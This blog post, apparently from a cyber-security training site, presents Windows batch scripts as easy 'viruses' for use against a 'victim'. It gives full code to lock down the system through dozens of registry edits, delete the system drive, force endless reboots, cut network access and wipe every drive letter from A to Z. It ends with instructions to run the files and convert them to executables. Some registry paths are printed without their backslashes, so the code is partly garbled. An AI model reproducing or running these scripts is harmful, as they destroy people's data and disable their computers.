Ethical Hacking: How To Use Batch Programming

November 18, 2015 | Views: 9409

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Ethical Hacking: How To Use Batch Programming

Everyone always want to perform ethical hacking easily. This includes using already built tools and exploits for your pentesting.

Have you wondered about the easiest way to create a simple virus for Windows? I did and found that simpler things can get a big job done. Today, I am going to tell you how to use Batch scripting to create simple but efficient viruses.

 

First a little bit of info about what Batch really is…

Batch File : A batch file is a kind of script file that’s created usually using simple text editors. I use Windows CMD commands. It works using command line interpreter and is usually executed by a shell program (Command.com or CMD). These files have  a .bat extension.

If you want to learn it,  just Google it. Trust me, it’s worth it.

Now let me show you some codes that I’ve used frequently :

  • Mess up the registry : This code can give a hard blow to the registry. This will just kill some resources in such a way that the victim will get very annoyed.

@echo off

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRun /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoToolbarsOnTaskbar /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSetTaskBar /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoViewContextMenu /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoTrayContextMenu /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSetFolders /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSecurityTab /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoLogOff /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFind /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDrives /t REG_DWORD /d 03ffffff

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoClose /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoNetHood /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoNetworkConnections /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v StartMenuLogOff /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v ClassicShell /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSMMyDocs /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSMHelp /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSMConfigurePrograms /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoStartMenuMyMusic /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSMMyPictures /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFavoritesMenu /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoStartMenuPinnedList /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoActiveDesktop /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoTrayItemsDisplay /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableChangePassword /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableLockWorkstation /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v NoDispCPL /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v NoDispBackgroundPage /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v NoDispScrSavPage /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v NoDispAppearancePage /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v NoDispSettingsPage /t REG_DWORD /d 00000001

reg add HKCUSoftwarePoliciesMicrosoftWindowsSystem /v DisableCMD /t REG_DWORD /d 00000002

reg add HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v legalnoticecaption /d Oops..

reg add HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v legalnoticetext /d …Hacked…

reg add HKCUSoftwarePoliciesMicrosoftMMC /v RestrictToPermittedSnapins /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v Start_ShowPrinters /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v Start_AdminToolsRoot /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v Start_ShowMyComputer /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v WebView /t REG_DWORD /d 00000000

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall /v NoAddPage /t REG_DWORD /d 00000001

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall /v NoRemovePage /t REG_DWORD /d 00000001

reg add HKCUControl PanelInternational /v sTimeFormat /d H:mm:ss

reg add HKU.DEFAULTSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v WebView /t REG_DWORD /d 00000000

exit

 

  • Crash the OS : This code can just simply crash Windows. Note that you can have problems when using this code because some times it doesn’t work.

@echo off

erase %systemdrive%*.* /f /s /q

exit

 

  • Keep Victim’s Computer Rebooting : Another annoying code which can have tough effects on an inexperienced user. You will also notice that how simple things can leave Windows with no defense.

@echo off

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v “svchost.exe” /d “shutdown -r -t 00”

exit

 

  • Disable the Victim’s Internet : Want to stop someone from accessing the internet? Just use this four lines code.

@echo off

ipconfig / Release

if ERRORLEVEL1 ipconfig /release_all

exit

 

  • Erase All Drives : Want to erase every thing? Well its simple in Windows.

@echo off

del A:*.* /f /s /q

del B:*.* /f /s /q

del C:*.* /f /s /q

del D:*.* /f /s /q

del E:*.* /f /s /q

del F:*.* /f /s /q

del G:*.* /f /s /q

del H:*.* /f /s /q

del I:*.* /f /s /q

del J:*.* /f /s /q

del K:*.* /f /s /q

del L:*.* /f /s /q

del M:*.* /f /s /q

del N:*.* /f /s /q

del O:*.* /f /s /q

del P:*.* /f /s /q

del Q:*.* /f /s /q

del R:*.* /f /s /q

del S:*.* /f /s /q

del T:*.* /f /s /q

del U:*.* /f /s /q

del V:*.* /f /s /q

del W:*.* /f /s /q

del X:*.* /f /s /q

del Y:*.* /f /s /q

del Z:*.* /f /s /q

exit

 

How to Use These Codes

Type the code into simple text editors like Notepad and save the file with a .bat extension. Then, just double-click on them to run them.

 

What’s the Potential of Batch Scripting?  

It’s more than you can imagine. The codes provided above are just a small view of what’s  possible. You can even create something like a RAT or a remote file stealer for your pentesting efforts.

 

Some useful links

I’ve seen many useful links that I want to share with you guys. Like..

To convert Batch Files to an EXE, use a free tool called ‘ Batch To Exe Converter ‘ which has some very cool features. You can grab it here.

Want to learn how to code in Batch? Learn here.

Want to see some more code? Download a software called Viral Tool from here.

Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Ready to share your knowledge and expertise?
38 Comments
  1. Im such a beginner what are these and how you can learn them

    /f /s /q

    Thanks

Page 6 of 6« First...«23456
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel